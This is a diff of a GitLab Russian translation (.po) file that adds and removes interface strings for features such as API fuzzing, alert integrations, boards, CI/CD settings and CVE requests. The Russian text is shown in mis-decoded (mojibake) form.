-msgid "APIFuzzing|Make sure your credentials are secured"
+msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
msgstr ""
-msgid "APIFuzzing|Password for basic authentication"
+msgid "APIFuzzing|Predefined profiles"
msgstr ""
msgid "APIFuzzing|Scan mode"
@@ -1711,9 +1778,6 @@ msgstr ""
msgid "APIFuzzing|Username for basic authentication"
msgstr ""
-msgid "APIFuzzing|We recommend that you review the JSON specifications file before adding it to a repository."
-msgstr ""
-
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
@@ -1891,6 +1955,9 @@ msgstr "Ðккаунт и ограничениÑ"
msgid "Account: %{account}"
msgstr "Ðккаунт: %{account}"
+msgid "Action"
+msgstr ""
+
msgid "Action to take when receiving an alert. %{docsLink}"
msgstr ""
@@ -1921,13 +1988,6 @@ msgstr "Добавить"
msgid "Add \"%{value}\""
msgstr ""
-msgid "Add %d issue"
-msgid_plural "Add %d issues"
-msgstr[0] "Добавить %d обÑуждение"
-msgstr[1] "Добавить %d обÑуждениÑ"
-msgstr[2] "Добавить %d обÑуждений"
-msgstr[3] "Добавить %d обÑуждений"
-
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
@@ -1973,6 +2033,9 @@ msgstr "Добавить ключ GPG"
msgid "Add a Grafana button in the admin sidebar, monitoring section, to access a variety of statistics on the health and performance of GitLab."
msgstr "Добавьте кнопку Grafana на боковой панели админиÑтратора в разделе мониторинга, чтобы получить доÑтуп к различным ÑтатиÑтичеÑким данным о работоÑпоÑобноÑти и производительноÑти GitLab."
+msgid "Add a Jaeger URL to replace this page with a link to your Jaeger server. You first need to %{link_start_tag}install Jaeger%{link_end_tag}."
+msgstr ""
+
msgid "Add a bullet list"
msgstr "Добавить маркированный ÑпиÑок"
@@ -2048,6 +2111,9 @@ msgstr "Добавить комментарий"
msgid "Add comment to design"
msgstr ""
+msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2075,9 +2141,6 @@ msgstr "Добавить заголовок и подвал в ÑлектронÐ
msgid "Add image comment"
msgstr "Добавить комментарий к изображению"
-msgid "Add issues"
-msgstr "Добавить задачи"
-
msgid "Add italic text"
msgstr "Добавить курÑив"
@@ -2105,6 +2168,9 @@ msgstr "Добавить или вычеÑÑ‚ÑŒ потраченное времÑ
msgid "Add previously merged commits"
msgstr "Добавить ранее Ñлитые коммиты"
+msgid "Add projects"
+msgstr ""
+
msgid "Add reaction"
msgstr "Добавить реакцию"
@@ -2123,6 +2189,9 @@ msgstr "Добавить ÑиÑтемный обработчик"
msgid "Add to Slack"
msgstr "Добавить в Slack"
+msgid "Add to board"
+msgstr ""
+
msgid "Add to epic"
msgstr "Добавить к цели"
@@ -2216,6 +2285,9 @@ msgstr "Дополнительные минуты"
msgid "Additional text"
msgstr "Дополнительный текÑÑ‚"
+msgid "Address"
+msgstr ""
+
msgid "Adds"
msgstr "ДобавлÑет"
@@ -2243,6 +2315,9 @@ msgstr ""
msgid "Admin Area"
msgstr "Панель управлениÑ"
+msgid "Admin Mode"
+msgstr ""
+
msgid "Admin Note"
msgstr ""
@@ -2384,9 +2459,6 @@ msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ оÑтановить вÑе заданиÑ.
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Ошибка загрузки ÑтатиÑтики. ПожалуйÑта, попробуйте еще раз"
-msgid "AdminNote|Note"
-msgstr "ПримечаниÑ"
-
msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources including issues, merge requests, etc.. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr "Ð’Ñ‹ ÑобираетеÑÑŒ окончательно удалить проект %{projectName}, его репозиторий и вÑе ÑвÑзанные реÑурÑÑ‹, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð¾Ð±ÑуждениÑ, запроÑÑ‹ ÑлиÑÐ½Ð¸Ñ Ð¸ Ñ‚.д. ПоÑле Ð¿Ð¾Ð´Ñ‚Ð²ÐµÑ€Ð¶Ð´ÐµÐ½Ð¸Ñ %{strong_start}ÑƒÐ´Ð°Ð»ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ð°%{strong_end} его будет невозможно воÑÑтановить или отменить удаление."
@@ -2822,6 +2894,12 @@ msgstr "ÐдминиÑтрирование"
msgid "Admin|Additional users must be reviewed and approved by a system administrator. Learn more about %{help_link_start}usage caps%{help_link_end}."
msgstr ""
+msgid "Admin|Admin notes"
+msgstr ""
+
+msgid "Admin|Note"
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -2871,6 +2949,9 @@ msgstr[1] "ОповещениÑ"
msgstr[2] "Оповещений"
msgstr[3] "Оповещений"
+msgid "Alert integrations"
+msgstr ""
+
msgid "AlertManagement|Acknowledged"
msgstr "Прочитано"
@@ -3033,6 +3114,12 @@ msgstr ""
msgid "AlertMappingBuilder|Title is a required field for alerts in GitLab. Should the payload field you specified not be available, specifiy which field we should use instead. "
msgstr ""
+msgid "AlertSettings|A URL and authorization key have been created for your integration. You will need them to setup a webhook and authorize your endpoint to send alerts to GitLab."
+msgstr ""
+
+msgid "AlertSettings|A webhook URL and authorization key will be generated for the integration. Both will be visible after saving the integration in the “View credentials†tab."
+msgstr ""
+
msgid "AlertSettings|Add new integration"
msgstr ""
@@ -3048,13 +3135,16 @@ msgstr ""
msgid "AlertSettings|Delete integration"
msgstr ""
+msgid "AlertSettings|Edit integration"
+msgstr ""
+
msgid "AlertSettings|Edit payload"
msgstr ""
-msgid "AlertSettings|Enter integration name"
+msgid "AlertSettings|Enable integration"
msgstr ""
-msgid "AlertSettings|External Prometheus"
+msgid "AlertSettings|Enter integration name"
msgstr ""
msgid "AlertSettings|HTTP Endpoint"
@@ -3063,25 +3153,28 @@ msgstr ""
msgid "AlertSettings|If you edit the payload, the stored mapping will be reset, and you'll need to re-map the fields."
msgstr ""
-msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
+msgid "AlertSettings|If you intend to create a custom mapping, provide an example payload from your monitoring tool and click the \"parse payload fields\" button to continue. The sample payload is required for completing the custom mapping; if you want to skip the mapping step, progress straight to saving your integration."
msgstr ""
msgid "AlertSettings|In free versions of GitLab, only one integration for each type can be added. %{linkStart}Upgrade your subscription%{linkEnd} to add additional integrations."
msgstr ""
+msgid "AlertSettings|Integration successfully saved"
+msgstr ""
+
msgid "AlertSettings|Name integration"
msgstr ""
-msgid "AlertSettings|Parse payload for custom mapping"
+msgid "AlertSettings|Parse payload fields"
msgstr ""
msgid "AlertSettings|Proceed with editing"
msgstr ""
-msgid "AlertSettings|Prometheus API base URL"
+msgid "AlertSettings|Prometheus"
msgstr ""
-msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This payload can be used to create a custom mapping (optional)."
+msgid "AlertSettings|Prometheus API base URL"
msgstr ""
msgid "AlertSettings|Provide an example payload from the monitoring tool you intend to integrate with. This will allow you to send an alert to an active GitLab alerting point."
@@ -3096,24 +3189,36 @@ msgstr ""
msgid "AlertSettings|Resetting the authorization key for this project will require updating the authorization key in every alert source it is enabled in."
msgstr ""
-msgid "AlertSettings|Sample alert payload (optional)"
+msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
msgstr ""
-msgid "AlertSettings|Sample payload has been parsed. You can now map the fields."
+msgid "AlertSettings|Save & create test alert"
msgstr ""
msgid "AlertSettings|Save integration"
msgstr ""
-msgid "AlertSettings|Select integration type"
+msgid "AlertSettings|Save integration & send"
msgstr ""
-msgid "AlertSettings|Send"
+msgid "AlertSettings|Select integration type"
msgstr ""
msgid "AlertSettings|Send test alert"
msgstr ""
+msgid "AlertSettings|Send without saving"
+msgstr ""
+
+msgid "AlertSettings|The default GitLab alert fields are listed below. If you choose to map your payload keys to GitLab's, please make a selection in the dropdowns below. You may also opt to leave the fields unmapped and move straight to saving your integration."
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes"
+msgstr ""
+
+msgid "AlertSettings|The form has unsaved changes. How would you like to proceed?"
+msgstr ""
+
msgid "AlertSettings|URL cannot be blank and must start with http or https"
msgstr ""
@@ -3123,6 +3228,9 @@ msgstr ""
msgid "AlertSettings|Utilize the URL and authorization key below to authorize an external service to send alerts to GitLab. Review your external service's documentation to learn where to add these details, and the %{linkStart}GitLab documentation%{linkEnd} to learn more about configuring your endpoint."
msgstr ""
+msgid "AlertSettings|View URL and authorization key"
+msgstr ""
+
msgid "AlertSettings|View credentials"
msgstr ""
@@ -3132,9 +3240,6 @@ msgstr ""
msgid "AlertSettings|You can now set up alert endpoints for manually configured Prometheus instances in the Alerts section on the Operations settings page. Alert endpoint fields on this page have been deprecated."
msgstr ""
-msgid "AlertSettings|Your integration was successfully updated."
-msgstr ""
-
msgid "AlertSettings|{ \"events\": [{ \"application\": \"Name of application\" }] }"
msgstr ""
@@ -3171,7 +3276,10 @@ msgstr ""
msgid "AlertsIntegrations|The integration has been successfully removed."
msgstr ""
-msgid "AlertsIntegrations|The integration has been successfully saved. Alerts from this new integration should now appear on your alerts list."
+msgid "AlertsIntegrations|The integration has been successfully saved."
+msgstr ""
+
+msgid "AlertsIntegrations|The integration is currently inactive. Enable the integration to send the test alert."
msgstr ""
msgid "AlertsIntegrations|The integration token could not be reset. Please try again."
@@ -3261,9 +3369,6 @@ msgstr "Разрешить владельцам групп управлÑÑ‚ÑŒ н
msgid "Allow only the selected protocols to be used for Git access."
msgstr "Разрешить иÑпользовать только выбранные протоколы Ð´Ð»Ñ Ð´Ð¾Ñтупа к Git."
-msgid "Allow overrides to approval lists per merge request (MR)"
-msgstr ""
-
msgid "Allow owners to manage default branch protection per group"
msgstr ""
@@ -3327,6 +3432,9 @@ msgstr ""
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr "Разрешено ограничение доменов Ñлектронной почты только Ð´Ð»Ñ Ð³Ñ€ÑƒÐ¿Ð¿ верхнего уровнÑ"
+msgid "Allowed group"
+msgstr ""
+
msgid "Allowed to create:"
msgstr ""
@@ -3354,6 +3462,9 @@ msgstr "Также называетÑÑ \"Ñмитент\" или \"иденти
msgid "Also called \"Relying party service URL\" or \"Reply URL\""
msgstr ""
+msgid "Also remove direct user membership from subgroups and projects"
+msgstr ""
+
msgid "Also unassign this user from related issues and merge requests"
msgstr ""
@@ -3411,6 +3522,9 @@ msgstr ""
msgid "An error has occurred"
msgstr "Произошла ошибка"
+msgid "An error in reporting in which a test result incorrectly indicates the presence of a vulnerability in a system when the vulnerability is not present."
+msgstr ""
+
msgid "An error occurred adding a draft to the thread."
msgstr "Произошла ошибка при добавлении черновика в тему."
@@ -3534,6 +3648,9 @@ msgstr "Во Ð²Ñ€ÐµÐ¼Ñ Ð¸Ð·Ð²Ð»ÐµÑ‡ÐµÐ½Ð¸Ñ Ð¾Ð¶Ð¸Ð´Ð°ÑŽÑ‰Ð¸Ñ… коммента
msgid "An error occurred while fetching projects autocomplete."
msgstr ""
+msgid "An error occurred while fetching reference"
+msgstr ""
+
msgid "An error occurred while fetching sidebar data"
msgstr "Произошла ошибка при получении денег данных Ð´Ð»Ñ Ð±Ð¾ÐºÐ¾Ð²Ð¾Ð¹ панели"
@@ -3546,9 +3663,6 @@ msgstr "Произошла ошибка при получении отчётов
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Произошла ошибка при получении ÑпиÑка панелей управлениÑ. ПожалуйÑта, попробуйте ещё раз."
-msgid "An error occurred while fetching the builds."
-msgstr "Произошла ошибка при получении Ñборок."
-
msgid "An error occurred while fetching the job log."
msgstr "Произошла ошибка при получении журнала заданий."
@@ -3639,7 +3753,7 @@ msgstr "Произошла ошибка при загрузке файла."
msgid "An error occurred while loading the file. Please try again later."
msgstr "Произошла ошибка при загрузке файла. ПожалуйÑта, попробуйте ещё раз позже."
-msgid "An error occurred while loading the members, please try again."
+msgid "An error occurred while loading the file. Please try again."
msgstr ""
msgid "An error occurred while loading the merge request changes."
@@ -3777,9 +3891,6 @@ msgstr "Домен Serverless ÑƒÑ€Ð¾Ð²Ð½Ñ ÑкземплÑра уже ÑущеÑ
msgid "An issue already exists"
msgstr "ОбÑуждение уже ÑущеÑтвует"
-msgid "An issue can be a bug, a todo or a feature request that needs to be discussed in a project. Besides, issues are searchable and filterable."
-msgstr "Ðа обÑуждение может выноÑитÑÑ Ð±Ð°Ð³, задача или Ð·Ð°Ð¿Ñ€Ð¾Ñ Ñ„ÑƒÐ½ÐºÑ†Ð¸Ð¸, ÐºÐ¾Ñ‚Ð¾Ñ€Ð°Ñ Ð´Ð¾Ð»Ð¶Ð½Ð° быть раÑÑмотрена в проекте. Кроме того, обÑÑƒÐ¶Ð´ÐµÐ½Ð¸Ñ Ð´Ð¾Ñтупны Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка и фильтрации."
-
msgid "An issue title is required"
msgstr ""
@@ -3981,6 +4092,9 @@ msgstr "Правила утверждениÑ"
msgid "Approval rules reset to project defaults"
msgstr ""
+msgid "Approval settings"
+msgstr ""
+
msgid "ApprovalRuleRemove|%d member"
msgid_plural "ApprovalRuleRemove|%d members"
msgstr[0] "%d учаÑтник"
@@ -4012,6 +4126,9 @@ msgstr[1] "Ðеобходимо %{count} одобрений из %{membersCount}
msgstr[2] "Ðеобходимо %{count} одобрений из %{membersCount}"
msgstr[3] "Ðеобходимо %{count} одобрений из %{membersCount}"
+msgid "ApprovalRule|Add approvers"
+msgstr ""
+
msgid "ApprovalRule|Approval rules"
msgstr ""
@@ -4021,6 +4138,9 @@ msgstr ""
msgid "ApprovalRule|Approvers"
msgstr "Утверждающие"
+msgid "ApprovalRule|Examples: QA, Security."
+msgstr ""
+
msgid "ApprovalRule|Name"
msgstr "ИмÑ"
@@ -4030,9 +4150,6 @@ msgstr "Ðазвание правила"
msgid "ApprovalRule|Target branch"
msgstr "Ð¦ÐµÐ»ÐµÐ²Ð°Ñ Ð²ÐµÑ‚ÐºÐ°"
-msgid "ApprovalRule|e.g. QA, Security, etc."
-msgstr "например, QA, Security и т. д."
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4172,6 +4289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Are you sure you want to lock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to lock this directory?"
+msgstr ""
+
msgid "Are you sure you want to lose unsaved changes?"
msgstr "Ð’Ñ‹ уверены, что вы хотите потерÑÑ‚ÑŒ не Ñохранённые изменениÑ?"
@@ -4232,6 +4355,12 @@ msgstr "Ð’Ñ‹ уверены, что вы хотите оÑтановить ÑÑ‚Ð
msgid "Are you sure you want to unlock %{path_lock_path}?"
msgstr "Вы уверены, что вы хотите разблокировать %{path_lock_path}?"
+msgid "Are you sure you want to unlock %{path}?"
+msgstr ""
+
+msgid "Are you sure you want to unlock this directory?"
+msgstr ""
+
msgid "Are you sure you want to unsubscribe from the %{type}: %{link_to_noteable_text}?"
msgstr "Ð’Ñ‹ дейÑтвительно хотите отпиÑатьÑÑ Ð¾Ñ‚ %{type}: %{link_to_noteable_text}?"
@@ -4274,14 +4403,14 @@ msgstr ""
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} помеÑтил в ветку %{branch} проекта %{project_name} ( %{commit_url} ):"
-msgid "AsanaService|Asana - Teamwork without email"
-msgstr "Asana - Работа в команде без Ñлектронной почты"
+msgid "AsanaService|Add commit messages as comments to Asana tasks"
+msgstr ""
-msgid "AsanaService|Comma-separated list of branches which will be automatically inspected. Leave blank to include all branches."
-msgstr "СпиÑок веток, разделенных запÑтыми, будет проверен автоматичеÑки. ОÑтавьте пуÑтым, чтобы выбрать вÑе ветки."
+msgid "AsanaService|Comma-separated list of branches to be automatically inspected. Leave blank to include all branches."
+msgstr ""
-msgid "AsanaService|User Personal Access Token. User must have access to task, all comments will be attributed to this user."
-msgstr "Личный токен доÑтупа пользователÑ. Пользователь должен иметь права Ñоздавать задачи, вÑе комментарии будут отнеÑены к Ñтому пользователю."
+msgid "AsanaService|User Personal Access Token. User must have access to the task. All comments are attributed to this user."
+msgstr ""
msgid "Ascending"
msgstr "По возраÑтанию"
@@ -4711,6 +4840,9 @@ msgstr "Ðватар будет удален. Ð’Ñ‹ уверены?"
msgid "Average per day: %{average}"
msgstr "Ð’ Ñреднем за день: %{average}"
+msgid "AwardEmoji|No emojis found."
+msgstr ""
+
msgid "Back to page %{number}"
msgstr "Ðазад к Ñтранице %{number}"
@@ -4813,6 +4945,9 @@ msgstr "Пользователь Ñ Ð´Ð¾Ñтупом через API, еÑли в
msgid "BambooService|Atlassian Bamboo CI"
msgstr "Atlassian Bamboo CI"
+msgid "BambooService|Bamboo URL"
+msgstr ""
+
msgid "BambooService|Bamboo build plan key like KEY"
msgstr "Ключ плана Ñборки Bamboo, подобный KEY"
@@ -4831,6 +4966,9 @@ msgstr "Будьте оÑторожны. Изменение пути проекÑ
msgid "Be careful. Renaming a project's repository can have unintended side effects."
msgstr "Будьте оÑторожны. Переименование Ñ€ÐµÐ¿Ð¾Ð·Ð¸Ñ‚Ð¾Ñ€Ð¸Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ð° может вызвать нежелательные побочные Ñффекты."
+msgid "Before this can be merged, a Jira issue must be linked in the title or description"
+msgstr ""
+
msgid "Begin with the selected commit"
msgstr "Ðачать Ñ Ð²Ñ‹Ð±Ñ€Ð°Ð½Ð½Ð¾Ð³Ð¾ коммита"
@@ -4855,8 +4993,8 @@ msgstr "Тарифы"
msgid "BillingPlans|%{group_name} is currently using the %{plan_name}."
msgstr ""
-msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name} plan."
-msgstr "@%{user_name}, ÑÐµÐ¹Ñ‡Ð°Ñ Ð²Ñ‹ иÑпользуете тарифный план %{plan_name}."
+msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
+msgstr ""
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4991,6 +5129,9 @@ msgstr[3] ""
msgid "Blocked issue"
msgstr "Заблокированное обÑуждение"
+msgid "Blocking"
+msgstr ""
+
msgid "Blocking issues"
msgstr ""
@@ -5021,6 +5162,13 @@ msgstr "ДоÑки"
msgid "Boards and Board Lists"
msgstr ""
+msgid "Boards|+ %{displayedIssuablesCount} more %{issuableType}"
+msgid_plural "Boards|+ %{displayedIssuablesCount} more %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5030,9 +5178,6 @@ msgstr ""
msgid "Boards|An error occurred while fetching group projects. Please try again."
msgstr ""
-msgid "Boards|An error occurred while fetching issues. Please reload the page."
-msgstr ""
-
msgid "Boards|An error occurred while fetching labels. Please reload the page."
msgstr ""
@@ -5051,6 +5196,9 @@ msgstr ""
msgid "Boards|An error occurred while generating lists. Please reload the page."
msgstr ""
+msgid "Boards|An error occurred while moving the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while moving the issue. Please try again."
msgstr ""
@@ -5060,6 +5208,13 @@ msgstr ""
msgid "Boards|An error occurred while updating the list. Please try again."
msgstr ""
+msgid "Boards|Blocked by %{blockedByCount} %{issuableType}"
+msgid_plural "Boards|Blocked by %{blockedByCount} %{issuableType}s"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+
msgid "Boards|Board"
msgstr ""
@@ -5072,6 +5227,15 @@ msgstr "Редактировать доÑку"
msgid "Boards|Expand"
msgstr "Развернуть"
+msgid "Boards|Failed to fetch blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|Retrieving blocking %{issuableType}s"
+msgstr ""
+
+msgid "Boards|View all blocking %{issuableType}s"
+msgstr ""
+
msgid "Boards|View scope"
msgstr "ПроÑмотр облаÑти"
@@ -5102,6 +5266,9 @@ msgstr ""
msgid "Board|Load more issues"
msgstr ""
+msgid "Bold text"
+msgstr ""
+
msgid "Both project and dashboard_path are required"
msgstr ""
@@ -5408,15 +5575,6 @@ msgstr "по автору"
msgid "CHANGELOG"
msgstr "CHANGELOG"
-msgid "CI / CD"
-msgstr "CI / CD"
-
-msgid "CI / CD Analytics"
-msgstr "Ðналитика CI / CD"
-
-msgid "CI / CD Settings"
-msgstr "ÐаÑтройки CI / CD"
-
msgid "CI Lint"
msgstr "CI Lint"
@@ -5435,6 +5593,12 @@ msgstr "CI будет запуÑкатьÑÑ Ñ Ð¸Ñпользованием уÑ
msgid "CI/CD"
msgstr "CI/CD"
+msgid "CI/CD Analytics"
+msgstr ""
+
+msgid "CI/CD Settings"
+msgstr ""
+
msgid "CI/CD configuration"
msgstr "ÐšÐ¾Ð½Ñ„Ð¸Ð³ÑƒÑ€Ð°Ñ†Ð¸Ñ CI/CD"
@@ -5526,6 +5690,27 @@ msgstr "CONTRIBUTING"
msgid "CPU"
msgstr "CPU"
+msgid "CVE|As a maintainer, requesting a CVE for a vulnerability in your project will help your users stay secure and informed."
+msgstr ""
+
+msgid "CVE|CVE ID Request"
+msgstr ""
+
+msgid "CVE|Common Vulnerability Enumeration (CVE) identifiers are used to track distinct vulnerabilities in specific versions of code."
+msgstr ""
+
+msgid "CVE|Create CVE ID Request"
+msgstr ""
+
+msgid "CVE|Enable CVE ID requests in the issue sidebar"
+msgstr ""
+
+msgid "CVE|Request CVE ID"
+msgstr ""
+
+msgid "CVE|Why Request a CVE ID?"
+msgstr ""
+
msgid "Callback URL"
msgstr "URL обратного вызова"
@@ -5622,6 +5807,9 @@ msgstr ""
msgid "Canceled deployment to"
msgstr "Отменено развёртывание в"
+msgid "Cancelled"
+msgstr ""
+
msgid "Cancelling Preview"
msgstr "Отмена предварительного проÑмотра"
@@ -5742,6 +5930,9 @@ msgstr "Изменить шаблон"
msgid "Change this value to influence how frequently the GitLab UI polls for updates."
msgstr "Измените Ñто значение, чтобы уÑтановить как чаÑто GitLab UI запрашивает обновлениÑ."
+msgid "Change this value to influence how frequently the GitLab UI polls for updates. If you set the value to 2 all polling intervals are multiplied by 2, which means that polling happens half as frequently. The multiplier can also have a decimal value. The default value (1) is a reasonable choice for the majority of GitLab installations. Set to 0 to completely disable polling."
+msgstr ""
+
msgid "Change title"
msgstr "Изменить заголовок"
@@ -5769,6 +5960,9 @@ msgstr "Подобрать"
msgid "ChangeTypeAction|Pick into branch"
msgstr ""
+msgid "ChangeTypeAction|Pick into project"
+msgstr ""
+
msgid "ChangeTypeAction|Revert"
msgstr "Отменить"
@@ -5778,12 +5972,18 @@ msgstr ""
msgid "ChangeTypeAction|Search branches"
msgstr ""
+msgid "ChangeTypeAction|Search projects"
+msgstr ""
+
msgid "ChangeTypeAction|Start a %{newMergeRequest} with these changes"
msgstr ""
msgid "ChangeTypeAction|Switch branch"
msgstr ""
+msgid "ChangeTypeAction|Switch project"
+msgstr ""
+
msgid "ChangeTypeAction|This will create a new commit in order to revert the existing changes."
msgstr "Это ÑоздаÑÑ‚ новый коммит Ð´Ð»Ñ Ñ‚Ð¾Ð³Ð¾, чтобы откатить ÑущеÑтвующие изменениÑ."
@@ -6421,11 +6621,14 @@ msgid "Close"
msgstr "Закрыть"
msgid "Close %{issueType}"
-msgstr ""
+msgstr "Закрыть %{issueType}"
msgid "Close %{tabname}"
msgstr "Закрыть %{tabname}"
+msgid "Close design"
+msgstr ""
+
msgid "Close epic"
msgstr "Завершить цель"
@@ -6442,7 +6645,7 @@ msgid "Closed"
msgstr "Закрыто"
msgid "Closed %{epicTimeagoDate}"
-msgstr ""
+msgstr "Закрыто %{epicTimeagoDate}"
msgid "Closed epics"
msgstr ""
@@ -6454,11 +6657,53 @@ msgid "Closed this %{quick_action_target}."
msgstr ""
msgid "Closed: %{closed}"
-msgstr ""
+msgstr "Закрыто: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Cloud License"
+msgstr ""
+
+msgid "CloudLicense|Activate"
+msgstr ""
+
+msgid "CloudLicense|ID"
+msgstr ""
+
+msgid "CloudLicense|Last Sync"
+msgstr ""
+
+msgid "CloudLicense|Licensed to"
+msgstr ""
+
+msgid "CloudLicense|Manage"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code"
+msgstr ""
+
+msgid "CloudLicense|Paste your activation code below"
+msgstr ""
+
+msgid "CloudLicense|Plan"
+msgstr ""
+
+msgid "CloudLicense|Renews"
+msgstr ""
+
+msgid "CloudLicense|Started"
+msgstr ""
+
+msgid "CloudLicense|Subscription details"
+msgstr ""
+
+msgid "CloudLicense|Sync Subscription details"
+msgstr ""
+
+msgid "CloudLicense|This instance is currently using the %{planName} plan."
+msgstr ""
+
msgid "Cluster"
msgstr "КлаÑтер"
@@ -6492,9 +6737,6 @@ msgstr ""
msgid "ClusterAgents|Configuration"
msgstr ""
-msgid "ClusterAgents|Connect your cluster with the GitLab Agent"
-msgstr ""
-
msgid "ClusterAgents|Created by"
msgstr ""
@@ -6513,12 +6755,21 @@ msgstr ""
msgid "ClusterAgents|Integrate with the GitLab Agent"
msgstr ""
+msgid "ClusterAgents|Last used"
+msgstr ""
+
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn more about installing the GitLab Agent"
+msgstr ""
+
msgid "ClusterAgents|Name"
msgstr ""
+msgid "ClusterAgents|Never"
+msgstr ""
+
msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
msgstr ""
@@ -7068,6 +7319,9 @@ msgstr "УбедитеÑÑŒ, что ваша ÑƒÑ‡Ñ‘Ñ‚Ð½Ð°Ñ Ð·Ð°Ð¿Ð¸ÑÑŒ %{link_t
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr "УправлÑйте клаÑтером Kubernetes, поÑетив %{provider_link}"
+msgid "ClusterIntegration|ModSecurity enabled"
+msgstr ""
+
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7777,6 +8031,9 @@ msgstr "Коммит…"
msgid "Community forum"
msgstr ""
+msgid "Company"
+msgstr ""
+
msgid "Company name"
msgstr ""
@@ -7820,7 +8077,7 @@ msgid "CompareRevisions|Compare"
msgstr ""
msgid "CompareRevisions|Create merge request"
-msgstr ""
+msgstr "Создать Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð° ÑлиÑние"
msgid "CompareRevisions|Filter by Git revision"
msgstr ""
@@ -7840,6 +8097,9 @@ msgstr ""
msgid "CompareRevisions|There was an error while loading the branch/tag list. Please try again."
msgstr ""
+msgid "CompareRevisions|There was an error while searching the branch/tag list. Please try again."
+msgstr ""
+
msgid "CompareRevisions|There was an error while updating the branch/tag list. Please try again."
msgstr ""
@@ -8125,6 +8385,9 @@ msgstr "Сканирование контейнеров"
msgid "Container does not exist"
msgstr "Контейнер не ÑущеÑтвует"
+msgid "Container must be a project or a group."
+msgstr ""
+
msgid "Container registry images"
msgstr "Образы рееÑтра контейнеров"
@@ -8157,9 +8420,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "ContainerRegistry|%{imageName} tags"
-msgstr "%{imageName} тегов"
-
msgid "ContainerRegistry|%{strongStart}Disabled%{strongEnd} - Tags will not be automatically deleted."
msgstr ""
@@ -8244,6 +8504,9 @@ msgstr ""
msgid "ContainerRegistry|Docker connection error"
msgstr "Ошибка Ð¿Ð¾Ð´ÐºÐ»ÑŽÑ‡ÐµÐ½Ð¸Ñ Docker"
+msgid "ContainerRegistry|Enable expiration policy"
+msgstr ""
+
msgid "ContainerRegistry|Expiration policy is disabled"
msgstr "Правила иÑÑ‚ÐµÑ‡ÐµÐ½Ð¸Ñ Ð¾Ñ‚ÐºÐ»ÑŽÑ‡ÐµÐ½Ñ‹"
@@ -8262,6 +8525,9 @@ msgstr ""
msgid "ContainerRegistry|Image repository will be deleted"
msgstr ""
+msgid "ContainerRegistry|Image repository with no name located at the project URL."
+msgstr ""
+
msgid "ContainerRegistry|Image tags"
msgstr ""
@@ -8329,6 +8595,9 @@ msgstr ""
msgid "ContainerRegistry|Remove these tags"
msgstr ""
+msgid "ContainerRegistry|Root image"
+msgstr ""
+
msgid "ContainerRegistry|Run cleanup:"
msgstr ""
@@ -8551,6 +8820,9 @@ msgstr "Копировать"
msgid "Copy %{http_label} clone URL"
msgstr ""
+msgid "Copy %{name}"
+msgstr ""
+
msgid "Copy %{protocol} clone URL"
msgstr ""
@@ -8596,9 +8868,6 @@ msgstr ""
msgid "Copy commit SHA"
msgstr "Копировать SHA-Ñумму коммита"
-msgid "Copy email address"
-msgstr ""
-
msgid "Copy environment"
msgstr "Скопировать окружение"
@@ -8656,9 +8925,18 @@ msgstr ""
msgid "CorpusManagement|Fuzz testing corpus management"
msgstr ""
+msgid "CorpusManagement|New corpus"
+msgstr ""
+
+msgid "CorpusManagement|Total Size: %{totalSize}"
+msgstr ""
+
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not apply %{name} command."
+msgstr ""
+
msgid "Could not archive %{design}. Please try again."
msgstr ""
@@ -8713,12 +8991,21 @@ msgstr ""
msgid "Could not find iteration"
msgstr "Ðе удалоÑÑŒ найти итерацию"
+msgid "Could not get the data properly"
+msgstr ""
+
msgid "Could not load the user chart. Please refresh the page to try again."
msgstr ""
msgid "Could not load usage counts. Please refresh the page to try again."
msgstr ""
+msgid "Could not remove %{user} from %{group}. Cannot remove last group owner."
+msgstr ""
